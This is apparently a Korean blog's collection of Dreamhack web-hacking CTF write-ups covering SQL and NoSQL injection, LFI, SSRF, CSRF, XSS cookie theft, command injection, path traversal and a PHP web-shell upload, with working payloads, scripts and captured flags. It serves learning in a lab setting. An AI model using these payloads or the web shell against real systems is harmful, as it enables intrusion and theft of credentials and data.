728x90

init.sql

fake_table_name과 fake_col의 이름을 알아내기 위해 sql injection을 수행한다.

upw에 다음과 같이 입력하여 테이블명을 찾는다.

' union select table_name, null,null,null from information_schema.tables#

테이블명: onlyflag

 마찬가지로 upw에 입력한다.

' union select column_name, null, null, null from information_schema.columns where table_name='onlyflag'#

칼럼명: idx, sname, svalue, sflag, sclose

upw에 입력하여 마지막으로 flag를 찾는다.

' union select svalue, sflag, null, sclose from onlyflag#

flag: DH{57033624d7f142f57f139b4c9e84bd78da77b4406896c386672f0cbb016f5873}

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

ex-reg-ex  (0) 2023.05.25
php-1  (0) 2023.02.25
proxy-1  (0) 2023.02.15
web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13
728x90
def index():
    input_val = ""
    if request.method == "POST":
        input_val = request.form.get("input_val", "")
        m = re.match(r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+', input_val)
        if m:
            return render_template("index.html", pre_txt=input_val, flag=FLAG)
    return render_template("index.html", pre_txt=input_val, flag='?')

정규표현식에 부합하는 문자열을 입력하면 풀린다.

\w: 알파벳 또는 숫자

\d: 숫자

c{a,b}: c문자 a개 이상, b개 이하

[a-z]: 알파벳 

a+: a문자 1개 이상

참고자료이다.

https://wikidocs.net/4308

 

08-2 정규 표현식 시작하기

[TOC] ## 정규 표현식의 기초, 메타 문자 정규 표현식에서 사용하는 메타 문자(meta characters)에는 다음과 같은 것이 있다. > 메타 문자란 원래 그 문자…

wikidocs.net

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

baby-union  (0) 2023.12.09
php-1  (0) 2023.02.25
proxy-1  (0) 2023.02.15
web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13
728x90

LFI란?

Local File Inclusion의 약자로 PHP로 만들어진 웹 사이트에서 include, require 등의 함수로 파일을 포함할 때 서버의 파일을 사용하여 공격.

<?php
  include $_GET['page']?$_GET['page'].'.php':'main.php';
?>

index.php 파일에 include 함수를 사용하고 있다. 문제에서 /var/www/uploads/flag.php에 flag 값이 존재한다고 알려준다.

http://host3.dreamhack.games:24546/?page=/var/www/uploads/flag 

위의 url을 입력해보면 flag 값이 나오진 않는다.

<div class="container">
      can you see $flag?    </div>

이런 문구만 보일 뿐이다.

이 문제에선 PHP Wrapper을 사용한다. php wrapper이란 개발자들의 개발을 돕기 위한 기능들이다.

https://opentutorials.org/module/4291/26819

 

LFI(2) - with php wrapper - WEB1

이번 시간에는 php wrapper를 사용한 lfi에 대해 알아보도록 하겠습니다.  우선 wrapper란 실제 데이터의 앞에서 어떤 틀을 잡아 주는 데이터 또는 다른 프로그램이 성공적으로 실행되도록 설정하는

opentutorials.org

이 중 php://filter wrapper를 사용한다. 이를 사용하면 서버의 문서에 접근할 수 있다. 위의 링크를 참고하길 바란다.

LFI 취약점이 있는 index.php에서 아래와 같이 쿼리를 입력하면 base64 인코딩된 flag가 나온다.

host3.dreamhack.games:24546/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag

 PD9waHAKCSRmbGFnID0gJ0RIe2JiOWRiMWYzMDNjYWNmMGYzYzkxZTBhYmNhMTIyMWZmfSc7Cj8+CmNhbiB5b3Ugc2VlICRmbGFnPw==

base64 인코딩 값이기에 디코딩 해야한다.

https://www.base64decode.org/

 

Base64 Decode and Encode - Online

Decode from Base64 format or encode into it with various advanced options. Our site has an easy to use online tool to convert your data.

www.base64decode.org

<?php
	$flag = 'DH{bb9db1f303cacf0f3c91e0abca1221ff}';
?>
can you see $flag?

디코딩 결과이다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

baby-union  (0) 2023.12.09
ex-reg-ex  (0) 2023.05.25
proxy-1  (0) 2023.02.15
web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13
728x90

proxy란?

서버와 클라이언트 사이에 중계기로서 대리로 통신을 수행하는 것을 가리켜 '프록시', 그 중계 기능을 하는 것을 프록시 서버라고 부른다.

우리가 /socket 페이지를 통해 /admin 페이지와 통신을 할 수 있기에 proxy 문제라고 명명한거 같다.

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)

app.run(host='0.0.0.0', port=8000)

/socket 페이지에서 host에 127.0.0.1, port에 8000을 입력하고 현재 실행중인 서버의 /admin 페이지에 데이터를 전송할 수 있다. host에 127.0.0.1을 입력하는 이유는 login 함수에 s.connect((host,port))에 있듯이 서버 자신에게 연결하는 것이다. 또한 서버가 8000번 포트에서 실행되고 있기에 port도 8000을 입력하는 것이다. 이어서 s.sendall(data)를 통해 Data에 입력한 값을 보내는데 /admin 페이지는 POST 방식으로 입력을 받기에 이때 POST 형식의 HTTP 메시지를 입력하는 것이다.

@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

Data 전체 내용은 다음과 같다.

POST /admin HTTP/1.1
User-Agent: Admin Browser
DreamhackUser: admin
Cookie:admin=true
Content-Length: 12
Content-Type: application/x-www-form-urlencoded

userid=admin

 

remote_addr 이 127.0.0.1이어야 하는데 접속 ip가 127.0.0.1 이어야한다. 이건 이 서버를 실행한 admin만이 가능하다. admin이 /socket 페이지에서 login 함수를 통해 s.connect()를 실행한다면 remote_addr은 127.0.0.1이 된다.

헤더의 User-Agent 가 Admin Browser이 되어야 한다.

헤더의 DreamhackUser이 admin이 되어야 한다.

cookie의 admin에 해당하는 값이 true이어야 한다.

post로 보내는 데이터의 userid가 admin이어야 한다.

그리고 POST 방식으로 보낼 땐 Content-Type와 Content-Length가 필요하다.

application/x-www-form-urlencoded는 보내는 데이터를 URL 인코딩 후에 웹 서버로 보내는 방식이다. 데이터를 key=value&key=value 형식으로 표현한다. 현재 userid=admin으로 보내고 있다.

Content-Length는 데이터의 길이이다. userid=admin의 길이는 12다.

참고로 헤더의 끝엔 엔터가 두번 필요하다. 즉 헤더와 데이터 사이에 빈 줄이 하나 필요하다.
이건 HTTP POST 방식의 약속이다.

이 모든건 /socket 페이지에서 아무 값이나 넣고 전송 후 Burp Suite로 메시지를 잡아서 들여다보면 직접 볼 수 있다.

입력값을 보낸 후 결과값은 다음과 같다.

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 36
Server: Werkzeug/1.0.1 Python/3.8.2
Date: Wed, 15 Feb 2023 07:57:59 GMT

DH{9bb7177b6267ff7288e24e06d8dd6df5}
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

ex-reg-ex  (0) 2023.05.25
php-1  (0) 2023.02.25
web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13
Mango  (0) 2023.02.13
728x90

SSRF란?

서버 측에서 공격자에 의해 위조된 HTTP 요청을 보내 직접적인 접근이 제한된 서버 내부 자원에 접근하여 외부로 데이터 유출 및 오동작을 유발하는 공격

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

코드를 보면 admin의 서버는 8000번 포트를 열고 모든 ip의 접속을 허용한다. 그리고 127.0.0.1 주소에 1500~1800 중 임의의 포트로 local_server를 실행한다.

입력값을 조작하여 admin이 로컬 서버에 요청을 보내도록 해야한다. 우선 로컬 서버의 포트를 알아내야한다.

import requests
 
url= "http://host3.dreamhack.games:20197/img_viewer"
for i in range(1500,1801):
   response = requests.post(url, data={'url':'http://0x7f000001:'+str(i)+'/app/flag.txt'})
   if 'iVBOR' not in response.text:
       print(i)
       break

url인자는 http://0x7f000001:포트번호/app/flag.txt 형식이다. 이렇게 넣으면 image_viewer 함수에서 POST 방식의 조건문에 들어가서 if, elif 문을 건너 뛰게 된다. 바로 try 문이 실행되며 입력한 url로 get 방식의 요청을 보내게 된다.

0x7f000001 url 상에서 127.0.0.1과 동일하다. 0x7f000001을 1바이트씩 잘라보면 0x7f, 0x00, 0x00, 0x01이다.

ivBOR은 Not Found X 이미지에 대해 base64 인코딩, utf-8 디코딩 한 값이다. image_viewer 함수에 나와있다. 포트번호를 임의로 넣고 url을 전송해보면 Not Found X를 볼 수 있고, 페이지 소스 보기를 통해 iVBOR을 찾을 수 있다. 포트번호를 맞게 넣는다면 Not Found X가 안 나올 것이기에 이를 이용하였다.

<img src="data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmls

코드를 실행하니 1531 포트라는 것을 알았다.

<img src="data:image/png;base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9"/>

url을 전송하니 base64 인코딩, utf-8 디코딩된 값(REh ~~~)이 나온다.

온라인에 제공되는 base64 디코더를 이용한다.

https://www.convertstring.com/ko/EncodeDecode/Base64Decode

 

Base64로 디코딩 - 온라인 Base64로 디코더

당신의 Base64로 여기에 텍스트를 디코딩 복사 파일로 디코딩 Base64로 다운로드 :

www.convertstring.com

FLAG가 나온다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

php-1  (0) 2023.02.25
proxy-1  (0) 2023.02.15
Carve Party  (0) 2023.02.13
Mango  (0) 2023.02.13
image-storage  (0) 2023.02.13
728x90
$(function() {
  $('#jack-target').click(function () {
    counter += 1;
    if (counter <= 10000 && counter % 100 == 0) {
      for (var i = 0; i < pumpkin.length; i++) {
        pumpkin[i] ^= pie;
        pie = ((pie ^ 0xff) + (i * 10)) & 0xff;
      }
    }
    make();
  });
});

클릭할 때마다 counter 값이 1 증가하고 make 함수를 실행한다.

function make() {
  if (0 < counter && counter <= 1000) {
    $('#jack-nose').css('opacity', (counter) + '%');
  }
  else if (1000 < counter && counter <= 3000) {
    $('#jack-left').css('opacity', (counter - 1000) / 2 + '%');
  }
  else if (3000 < counter && counter <= 5000) {
    $('#jack-right').css('opacity', (counter - 3000) / 2 + '%');
  }
  else if (5000 < counter && counter <= 10000) {
    $('#jack-mouth').css('opacity', (counter - 5000) / 5 + '%');
  }

  if (10000 < counter) {
    $('#jack-target').addClass('tada');
    var ctx = document.querySelector("canvas").getContext("2d"),
    dashLen = 220, dashOffset = dashLen, speed = 20,
    txt = pumpkin.map(x=>String.fromCharCode(x)).join(''), x = 30, i = 0;

    ctx.font = "50px Comic Sans MS, cursive, TSCu_Comic, sans-serif"; 
    ctx.lineWidth = 5; ctx.lineJoin = "round"; ctx.globalAlpha = 2/3;
    ctx.strokeStyle = ctx.fillStyle = "#1f2f90";

    (function loop() {
      ctx.clearRect(x, 0, 60, 150);
      ctx.setLineDash([dashLen - dashOffset, dashOffset - speed]); // create a long dash mask
      dashOffset -= speed;                                         // reduce dash length
      ctx.strokeText(txt[i], x, 90);                               // stroke letter

      if (dashOffset > 0) requestAnimationFrame(loop);             // animate
      else {
        ctx.fillText(txt[i], x, 90);                               // fill final letter
        dashOffset = dashLen;                                      // prep next char
        x += ctx.measureText(txt[i++]).width + ctx.lineWidth * Math.random();
        ctx.setTransform(1, 0, 0, 1, 0, 3 * Math.random());        // random y-delta
        ctx.rotate(Math.random() * 0.005);                         // random rotation
        if (i < txt.length) requestAnimationFrame(loop);
      }
    })();
  }
  else {
    $('#clicks').text(10000 - counter);
  }
}

counter 값이 변함에 따라 호박에도 변화가 생기고 counter 값이 10000을 넘어갈 때 행위들이 발생한다. flag가 나올 것이다.

따라서 호박을 10001번 클릭하면 counter 변수가 10000을 넘어가며 풀린다.

f12 개발자 옵션에서 콘솔에 들어가서 10000번 클릭하는 코드를 실행한다.

그 결과 counter는 0에서 10000이 된다. 한 번 클릭할때마다 1 증가하기 때문이다.

마지막으로 직접 호박을 클릭하면 counter 값이 10001이 된다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

proxy-1  (0) 2023.02.15
web-ssrf  (0) 2023.02.15
Mango  (0) 2023.02.13
image-storage  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
728x90

Blind SQL Injection

쿼리가 참/거짓임을 구분할 수 있는 정보를 가지고 데이터를 추론해 나가는 공격이다.

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{…} 입니다.
{‘uid’: ‘admin’, ‘upw’: ‘DH{32alphanumeric}’}
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

upw는 DH{32자리 알파벳&숫자 조합} 형태로 DB에 저장되어 있다.

/login 페이지에서 URL 쿼리를 받아서 필터링한다. 쿼리에 admin, dh, admi가 있으면 필터링된다.

없으면 uid와 upw 인자로 전달한 값이 uid, upw 변수에 각각 저장된다.

user collection에서 uid와 upw키에 해당하는 값이 uid, upw 변수의 값과 일치하는 첫 번째 행을 반환하고 uid 키의 값만을 출력한다.

파이썬 코드를 이용하여 Blind SQL Injection 공격을 수행한다.

import requests
import string
 
url = "http://host3.dreamhack.games:11000/login"
s = string.digits + string.ascii_uppercase + string.ascii_lowercase
result = "" 
for i in range(32): 
    for key, val in enumerate(s): 
        payload = "?uid[$gt]=^adm&upw[$regex]={"+(result+val)
        r = requests.get(url+payload)
        
        if r.text.find("admin")!=-1: 
            result += val
            print(result)
            break
 
flag = "DH{"+result+"}"
print(flag)

string.digits: 0123456789 문자열

string.ascii_uppercase: ABCD...XYZ 문자열

string.ascii_lowercase: abcd....xyz

enumerate(s) 함수는 0~9A~Za~z 문자열을 index와 문자쌍으로 이루어진 enumerate 객체 반환

payload = "?uid[$regex]=^adm&upw[$regex]={"+(result+val): $regex는 정규표현식을 의미한다. uid에 정규표현식으로 ^adm을 대입하고 upw에는 정규표현식으로 '{문자열' 형태로 대입한다. admin을 필터링하기에 정규표현식을 썼고 ^adm은 adm으로 시작하는 문자열에 해당한다. ^을 빼고 adm만 써도 문제는 풀 수 있다. '{문자열'을 포함하는 upw를 찾는다. 여기서 문자열은 비밀번호를 의미한다.

참고로 payload에서 & 문자 옆에 띄워쓰기하면 admin이 반환될 payload여도 undefined가 반환된다.

uid와 upw 정규표현식을 만족한다면 웹 페이지에 admin을 출력한다. admin 출력여부를 가지고 Blind SQL Injection을 통해 비밀번호를 한 자리씩 알아내고 알아낸 비밀번호를 이용해 비밀번호의 다음 문자를 찾아가는 방식이다.

8
89e
89e5
(생략)
89e50fa6fafe2604e33c0ba05843d
89e50fa6fafe2604e33c0ba05843d3
89e50fa6fafe2604e33c0ba05843d3d
89e50fa6fafe2604e33c0ba05843d3df
DH{89e50fa6fafe2604e33c0ba05843d3df}
728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

web-ssrf  (0) 2023.02.15
Carve Party  (0) 2023.02.13
image-storage  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12
728x90

파일 업로드 공격은 파일 업로드 할 수 있는 기능을 통해 웹쉘을 업로드하여 시스템을 장악하는 공격이다.

<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }

업로드된 파일은 php에서 $_FILES 전역변수를 이용해 접근가능하다.

이 문제에선 서버가 업로드받은 파일은 $_FILES["file"]["tmp_name"]에 존재한다. 이는 $file["tmp_name"]와 동일하다.

move_uploaded_file은 서버는 업로드 받은 파일을 저장할 때 사용하는 함수다.

서버가 업로드 받은 $tmp_name 파일을 ./uploads/실제파일명으로 저장 후 Stored in: ./uploads/실제파일명을 출력한다.

아래의  php 파일을 만들어 업로드한 후 list 페이지에 접속하면 파일이 보일 것이다.

<?php
  system($_GET['cmd'])
?>

cmd 인자의 값을 get 방식으로 전달하면 cmd 인자의 값을 실행한다. cat /flag.txt를 전달하였다.

list 페이지
URL

DH{c29f44ea17b29d8b76001f32e8997bab}

FLAG가 출력된다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

Carve Party  (0) 2023.02.13
Mango  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
728x90

CSRF란?

희생자가 CSRF 스크립트가 포함된 웹 페이지에 접속하면 희생자의 권한을 통해 공격자가 의도한 행위(등록, 수정, 삭제 등)를 실행하게 하는 취약점이다. XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 희생자가 악성 스크립트(등록, 수정, 삭제하는 스크립트)를 서버에 요청한다는 점에 차이가 있다.

app.py를 분석해야 한다.

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param", "")
        session_id = os.urandom(16).hex()
        session_storage[session_id] = 'admin'
        if not check_csrf(param, {"name":"sessionid", "value": session_id}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

flag 함수부터 봐야 한다. sessionid 값을 생성하기 때문이다. session_id를 만들고 비어있는 session_storage에 키를 session_id, 값을 admin으로 설정하고 check_csrf를 호출한다. session_id가 넘어간다.

def check_csrf(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

늘 그랬듯이 admin의 vuln 웹 페이지에 param 인자값을 설정하여 read_url 함수를 호출한다. cookie에는 session_id가 들어있다.

        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)

read_url 함수 일부이다. 127.0.0.1:8000 웹 페이지의 쿠키에 sessionid 이름으로 session_id값을 저장한다. 그리고 url(check_csrf에서 만든 url)에 해당하는 웹 페이지를 연다.

@app.route("/change_password")
def change_password():
    pw = request.args.get("pw", "")
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    users[username] = pw
    return 'Done'

아직 입력값은 언급하지 않았지만 입력값에 의해 url은 change_password 웹 페이지에 접근하도록 할 것이다. url parameter의 pw의 값을 pw 변수에 저장한다. 쿠키에 저장된 sessionid도 session_id 변수에 저장한다. flag 함수에서 session_storage에 session_id를 키로, admin을 값으로 저장했기에 username에는 admin이 들어간다.

users = {
    'guest': 'guest',
    'admin': FLAG
}

users의 admin에 해당하는 값이 pw의 값으로 바뀔 것이다. 즉, 지금 admin의 비밀번호가 바뀐다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("not found user");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'

이제 login 페이지에서 로그인을 수행한다. 지금부터는 admin이 아닌 나의 웹 페이지에서 실행한다. pw에는 바뀐 admin의 비밀번호가 들어가 있다. 따라서 login 창에서 id는 admin, password는 바꾼 비밀번호를 입력하면 / 페이지로 redirect 하는 객체가 생성된다. session_storage에 새로 생성한 session_id를 키로, admin을 값으로 저장된다. response 객체의 쿠키에는 sessionid 이름에 session_id 값을 새로 만들어 설정된다. 그리고 리턴함으로써 / 페이지로 이어진다.

@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')

login 함수에서 cookie에 sessionid를 키로 session_id를 값으로 저장했기에 session_id 변수에 session_id 값이 저장된다. login 함수에서 session_storage에 session_id를 키로 admin을 값으로 저장했기에 username에는 admin이 저장된다. username이 admin이기에 FLAG가 출력된다.

처음에 flag 페이지에서 다음과 같이 입력하면 된다.

<img src="/change_password?pw=1">

이미지를 불러오는 태그다. 위의 과정이 이해됐으면 입력값을 넣었을 때 동작 과정이 쉽게 이해될 것이다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

Mango  (0) 2023.02.13
image-storage  (0) 2023.02.13
command-injection-1  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
728x90

Command Injection이란?

Command Injection은 웹 어플리케이션이 시스템 명령을 사용할 때 ';', '&', '&&', '||' 등을 이용하여 공격자가 원하는 시스템 명령을 실행하는 공격이다.

@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))

app.py 코드의 ping 함수이다. cmd에 저장된 명령을 /bin/sh에서 실행하는 구조다.

뒤에 명령을 이어서 입력하면 x.x.x.x 형식이 아니어서 요청이 가질 않는다. Burp Suite를 이용하여 이를 조작해야한다.

8.8.8.8만 입력 후 host 데이터를 수정한다.

cmd = f'ping -c 3 "{host}"'

명령어 형식이 위와 같기 때문에 문법에 맞게 완성시켜야한다. intercept한 패킷을 repeater로 보낸 후 send한다.

cmd는 ping -c 3 "8.8.8.8"; cat flag.py ""가 된다. 명령어1; 명령어2 이렇게 입력하면 명령어1 실행 후 명령어2를 실행한다. 즉 명령어1의 실행 성공 여부와 상관없이 순차적으로 실행한다. FLAG가 flag.py에 있다길래 cat 명령어로 출력했다.

FLAG가 나온다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

image-storage  (0) 2023.02.13
CSRF-2  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
728x90

CSRF란?

희생자가 CSRF 스크립트가 포함된 웹 페이지에 접속하면 희생자의 권한을 통해 공격자가 의도한 행위(등록, 수정, 삭제 등)를 실행하게 하는 취약점이다. XSS 공격은 악성 스크립트가 클라이언트에서 실행되는데 반해, CSRF 공격은 희생자가 악성 스크립트(등록, 수정, 삭제하는 스크립트)를 서버에 요청한다는 점에 차이가 있다.

https://portswigger.net/web-security/csrf#common-defences-against-csrf

 

What is CSRF (Cross-site request forgery)? Tutorial & Examples | Web Security Academy

In this section, we'll explain what cross-site request forgery is, describe some examples of common CSRF vulnerabilities, and explain how to prevent CSRF ...

portswigger.net

소스코드를 보면 /admin/notice_flag에 접근해야 FLAG를 이용할 수 있다. admin_notice_flag 함수를 보면 remote_addr이 127.0.0.1이어야 하기 때문에 check_csrf 함수를 이용해서 /admin/notice_flag에 접근해야한다. 이에 앞서 check_csrf 함수는 flag 함수에서 호출한다. 따라서 시작점은 flag 함수이다.

flag 함수에 다음과 같이 입력 후 memo 페이지에 접속하면 FLAG가 출력된다.

<img src="/admin/notice_flag?userid=admin">

입력값은 vuln 함수의 필터링 문자열인 frame, script, on에 걸리지 않는다. check_csrf 함수에 전달되고 127.0.0.1(admin)의 vuln페이지의 입력값으로 전달된다. img 태그가 실행되며 admin_notice_flag 함수가 실행된다. ip가 127.0.0.1이고 userid가 admin이 되어 memo_text에 추가된다. memo_text는 memo 페이지에 접속하면 출력된다.

 

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

CSRF-2  (0) 2023.02.12
command-injection-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
728x90

XSS란?

크로스 사이트 스크립팅은 공격자가 희생자의 브라우저에 스크립트가 실행되도록 하여 사용자의 쿠키나 세션 등을 탈취하는 공격이다. 공격 방식에 따라 Stored XSS, Reflected XSS가 있다.

Stored XSS는 공격자가 게시판의 게시글에 스크립트를 저장하여 희생자가 게시글을 요청하면 서버는 스크립트가 포함된 게시글을 돌려주고 희생자의 브라우저에서 스크립트가 실행된다.

Reflected XSS는 스크립트가 포함된 링크를 클릭하면 스크립트가 포함된 요청이 전송되고, 서버로부터 스크립트가 포함된 HTML 문서를 수신함으로써 브라우저에서 스크립트가 실행된다.

XSS-1과의 차이는 vuln 페이지에서 <script>문이 실행되지 않는 것이다.

XSS-1과 동작 방식은 동일하다. flag 페이지에서 입력하면 FLAG 값이 check_xss 함수에 전달되고 admin(127.0.0.1)이 vuln 페이지에 param 인자 값을 설정하여 요청하면서 cookie에 저장된 FLAG 값을 memo 페이지에 출력하는 것이다.

우회를 위해 svg 태그를 이용한다. svg 그래픽을 이용하는데 필요한 태그라고 한다.

onload는 웹 페이지가 모든 콘텐츠(이미지, 스크립트 파일, CSS 파일 등)를 완전히 로드한 후 스크립트를 실행하기 위해 <body> 요소 내에서 자주 사용한다.

<svg onload=location.href="http://127.0.0.1:8000/memo?memo="+document.cookie>

flag 페이지에서 입력값을 전달했다.

memo 페이지에 접속하면 flag가 보인다.

참고로 img 태그를 이용하는 방식도 가능하다.

<img src="abc" onerror="location.href='/memo?memo='+document.cookie">

이미지를 로드할때 사용한다. src는 포함할 이미지 경로이며 onerror는 에러 발생시 실행된다.

abc라는 이미지는 없기에 onerror가 실행된다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

command-injection-1  (0) 2023.02.12
CSRF-1  (0) 2023.02.12
devtools-sources  (0) 2023.02.11
pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
728x90

파일 다운로드 후 압축 해제한다.

index.html 파일에 들어간다.

f12(개발자 옵션)을 눌러서 소스 탭에 들어간다.

ctrl + shift + f 누르면 모든 파일에 대한 내용을 검색할 수 있다.

FLAG의 기본 형식 DH를 입력하니 FLAG 값이 나왔고 webpack:///styles/main.scss에 있다길래 다시 확인해보니 존재한다.

728x90

'dreamhack > Web Hacking' 카테고리의 다른 글

CSRF-1  (0) 2023.02.12
XSS-2  (0) 2023.02.12
pathtraversal  (0) 2023.02.11
session-basic  (0) 2023.02.09
file-download-1  (0) 2023.02.09
728x90

pathtraversal은 ..과 / 을 이용하여 접근해서 안 되는 파일이나 디렉터리에 접근하는 공격이다.

핵심 코드는 다음과 같다.

def internal_api(func):
    @wraps(func)
    def decorated_view(*args, **kwargs):
        if request.remote_addr == '127.0.0.1':
            return func(*args, **kwargs)
        else:
            abort(401)
    return decorated_view

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)

@app.route('/api/flag')
@internal_api
def flag():
    return FLAG

/api/flag에 접근해야 flag를 볼 수 있기에 get_info 함수로 ../flag를 입력하여 post 한다. 127.0.0.1:8000/api/user/../flag는 127.0.0.1:8000/api/flag와 동일하다. 그럼 flag 함수 실행 전 internal_api 데코레이터에 flag 함수를 인자로 넘기면서 호출한다. return decorated_view에 의해 decorated_view 실행된다. 접속 ip가 127.0.0.1이어야 func 즉, internal_api의 인자로 전달되었던 flag 함수가 실행된다.

@wraps, @internal_api는 데코레이터인데 작동방식은 다음의 글을 참고하면 도움이 된다.

https://yaboong.github.io/python/2018/03/04/python-decorator-example/

 

파이썬 데코레이터

개요 파이썬 데코레이터에 대한 간단한 설명과 예제

yaboong.github.io

get_info 페이지에서 userid에 ../flag를 입력 후 View 버튼을 누르면 예상한 결과가 나오지 않는다. Burp Suite를 실행 후 패킷을 본다. 분명히 ../flag를 입력했는데 userid가 undefined가 되어있다. ../flag로 수정 후 forward 해보자.

FLAG 등장

